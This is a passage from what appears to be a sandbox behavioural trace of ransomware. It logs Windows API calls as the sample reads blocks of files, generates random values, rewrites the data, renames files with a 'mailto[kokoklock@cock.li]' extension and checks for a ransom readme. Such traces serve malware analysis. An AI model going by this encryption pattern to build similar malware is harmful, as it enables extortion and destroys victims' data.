(HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4be8 [0060.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4be8) returned 1 [0060.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.413] WriteFile (in: hFile=0x59c, lpBuffer=0x347d970*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6c2fc38, lpOverlapped=0x0 | out: lpBuffer=0x347d970*, lpNumberOfBytesWritten=0x6c2fc38*=0x4096, lpOverlapped=0x0) returned 1 [0062.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d970) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33e4aa8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33e4aa8*, lpNumberOfBytesWritten=0x6c2fc94*=0x20, lpOverlapped=0x0) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33e4850*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33e4850*, lpNumberOfBytesWritten=0x6c2fc94*=0x20, lpOverlapped=0x0) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33e48a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33e48a0*, lpNumberOfBytesWritten=0x6c2fc94*=0x20, lpOverlapped=0x0) returned 1 [0062.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0x6c2fc9c*=0x8, lpOverlapped=0x0) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x6c2fcb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x6c2fcb4*, lpNumberOfBytesWritten=0x6c2fc9c*=0x4, lpOverlapped=0x0) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6c2fc9c*=0x4, lpOverlapped=0x0) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6c2fc9c*=0x6c, lpOverlapped=0x0) returned 1 [0062.794] WriteFile (in: hFile=0x59c, lpBuffer=0x33e4b20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33e4b20*, lpNumberOfBytesWritten=0x6c2fc9c*=0x20, lpOverlapped=0x0) returned 1 [0062.795] WriteFile (in: hFile=0x59c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6c2fc9c*=0x4, lpOverlapped=0x0) returned 1 [0062.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4b20) returned 1 [0062.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0062.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0062.795] CloseHandle (hObject=0x59c) [0083.110] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb4f0 [0083.110] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\588bce7c90097ed212\\netfx_Extended.mzz" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz" [0083.110] wcscat (in: _Dest=0x33eb4f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" [0083.110] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.111] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0083.111] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz", dwFileAttributes=0x20) returned 0 [0083.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3482098 [0083.111] wcscpy (in: _Dest=0x3482098, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0083.111] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0083.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0083.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0083.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c83d8) returned 1 [0083.112] RtlExitUserThread (Status=0x1) Thread: id = 64 os_tid = 0x6c8 [0060.355] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0060.436] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x20) returned 1 [0060.436] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0060.436] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x6caf758 | out: lpFileSize=0x6caf758*=272046) returned 1 [0060.436] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x426aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.436] ReadFile (in: hFile=0x598, lpBuffer=0x6caf72c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x6caf72c*, lpNumberOfBytesRead=0x6caf728*=0x4, lpOverlapped=0x0) returned 1 [0060.447] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4af8 [0060.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0060.447] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4be8 [0060.447] NtQuerySystemTime (in: CurrentTime=0x6caf704 | out: CurrentTime=0x6caf704*=132121176183363631) returned 0x0 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x10d0e5d [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x41ab5f24 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xf34a435f [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x164fa016 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xd5655f56 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x47acbdcc [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x5640fa32 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x40fcf13f [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x141c79b4 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x4e51cfac [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x74f4bf03 [0060.447] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x9adcd8ef [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x724480d6 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x2dad2511 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xdff48797 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x302b6e50 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x312b0c52 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x1802ae96 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xd937d8c7 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xf6fde46d [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xf01310c1 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x8fad305b [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x5597ef7b [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x61e13506 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xf546b016 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xe890d7b6 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0xeb8f49da [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x4fc65682 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x64e4517a [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x97294d39 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x45b39768 [0060.448] RtlRandom (in: Seed=0x6caf710 | out: Seed=0x6caf710) returned 0x80369c49 [0060.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0060.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4af8) returned 1 [0060.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.459] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.459] ReadFile (in: hFile=0x598, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6caf6c4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x6caf6c4*=0x4096, lpOverlapped=0x0) returned 1 [0060.484] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4788 [0060.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4788) returned 1 [0060.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34798d0 [0060.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4bc0 [0060.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4788 [0060.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4788) returned 1 [0060.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.485] WriteFile (in: hFile=0x598, lpBuffer=0x34798d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6caf6c4, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesWritten=0x6caf6c4*=0x4096, lpOverlapped=0x0) returned 1 [0060.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798d0) returned 1 [0060.485] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.486] ReadFile (in: hFile=0x598, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6caf6c4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x6caf6c4*=0x4096, lpOverlapped=0x0) returned 1 [0060.487] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4788 [0060.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4788) returned 1 [0060.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34798d0 [0060.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4788 [0060.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47b0 [0060.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47b0) returned 1 [0060.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.488] WriteFile (in: hFile=0x598, lpBuffer=0x34798d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6caf6c4, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesWritten=0x6caf6c4*=0x4096, lpOverlapped=0x0) returned 1 [0060.488] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798d0) returned 1 [0060.488] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x3e618, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.488] ReadFile (in: hFile=0x598, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6caf6c4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x6caf6c4*=0x4096, lpOverlapped=0x0) returned 1 [0060.488] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x3e618, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47b0 [0060.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47b0) returned 1 [0060.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34798d0 [0060.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47b0 [0060.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e18 [0060.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e18) returned 1 [0060.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.489] WriteFile (in: hFile=0x598, lpBuffer=0x34798d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6caf6c4, lpOverlapped=0x0 | out: lpBuffer=0x34798d0*, lpNumberOfBytesWritten=0x6caf6c4*=0x4096, lpOverlapped=0x0) returned 1 [0060.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798d0) returned 1 [0060.489] WriteFile (in: hFile=0x598, lpBuffer=0x33e4bc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6caf720, lpOverlapped=0x0 | out: lpBuffer=0x33e4bc0*, lpNumberOfBytesWritten=0x6caf720*=0x20, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33e4788*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6caf720, lpOverlapped=0x0 | out: lpBuffer=0x33e4788*, lpNumberOfBytesWritten=0x6caf720*=0x20, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33e47b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6caf720, lpOverlapped=0x0 | out: lpBuffer=0x33e47b0*, lpNumberOfBytesWritten=0x6caf720*=0x20, lpOverlapped=0x0) returned 1 [0060.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33e4e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x33e4e68*, lpNumberOfBytesWritten=0x6caf728*=0x8, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x6caf740*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x6caf740*, lpNumberOfBytesWritten=0x6caf728*=0x4, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x6caf728*=0x4, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x6caf728*=0x6c, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33e47d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x33e47d8*, lpNumberOfBytesWritten=0x6caf728*=0x20, lpOverlapped=0x0) returned 1 [0060.490] WriteFile (in: hFile=0x598, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6caf728, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x6caf728*=0x4, lpOverlapped=0x0) returned 1 [0060.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0060.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0060.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.490] CloseHandle (hObject=0x598) returned 1 [0060.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb630 [0060.498] wcscpy (in: _Dest=0x33eb630, _Source="C:\\588bce7c90097ed212\\ParameterInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml" [0060.498] wcscat (in: _Dest=0x33eb630, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" [0060.498] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0060.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb630) returned 1 [0060.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x80) returned 0 [0060.499] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481cd8 [0060.500] wcscpy (in: _Dest=0x3481cd8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0060.500] wcscat (in: _Dest=0x3481cd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0060.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0060.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481cd8) returned 1 [0060.500] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4a60) returned 1 [0060.500] RtlExitUserThread (Status=0x1) Thread: id = 65 os_tid = 0xfb4 [0060.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x33e9520 [0060.355] wcscpy (in: _Dest=0x33e9520, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0060.355] wcscat (in: _Dest=0x33e9520, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0060.355] wcscat (in: _Dest=0x33e9520, _Source="*" | out: _Dest="C:\\$GetCurrent\\Logs\\*") returned="C:\\$GetCurrent\\Logs\\*" [0060.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34521e8 [0060.355] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433968 [0060.484] wcscmp (_String1=".", _String2=".") returned 0 [0060.484] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.484] wcscmp (_String1="..", _String2=".") returned 1 [0060.484] wcscmp (_String1="..", _String2="..") returned 0 [0060.484] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0060.484] wcscmp (_String1="downlevel_2017_09_07_02_02_39_766.log", _String2=".") returned 1 [0060.484] wcscmp (_String1="downlevel_2017_09_07_02_02_39_766.log", _String2="..") returned 1 [0060.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccff0 [0060.484] wcscpy (in: _Dest=0x33ccff0, _Source="C:\\$GetCurrent\\Logs" | out: _Dest="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs" [0060.484] wcscat (in: _Dest=0x33ccff0, _Source="\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0060.484] wcscat (in: _Dest=0x33ccff0, _Source="downlevel_2017_09_07_02_02_39_766.log" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" [0062.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0062.343] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x34521e8 | out: lpFindFileData=0x34521e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0062.343] wcscmp (_String1="oobe_2017_09_07_03_08_57_737.log", _String2=".") returned 1 [0062.343] wcscmp (_String1="oobe_2017_09_07_03_08_57_737.log", _String2="..") returned 1 [0062.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479e98 [0062.343] wcscpy (in: 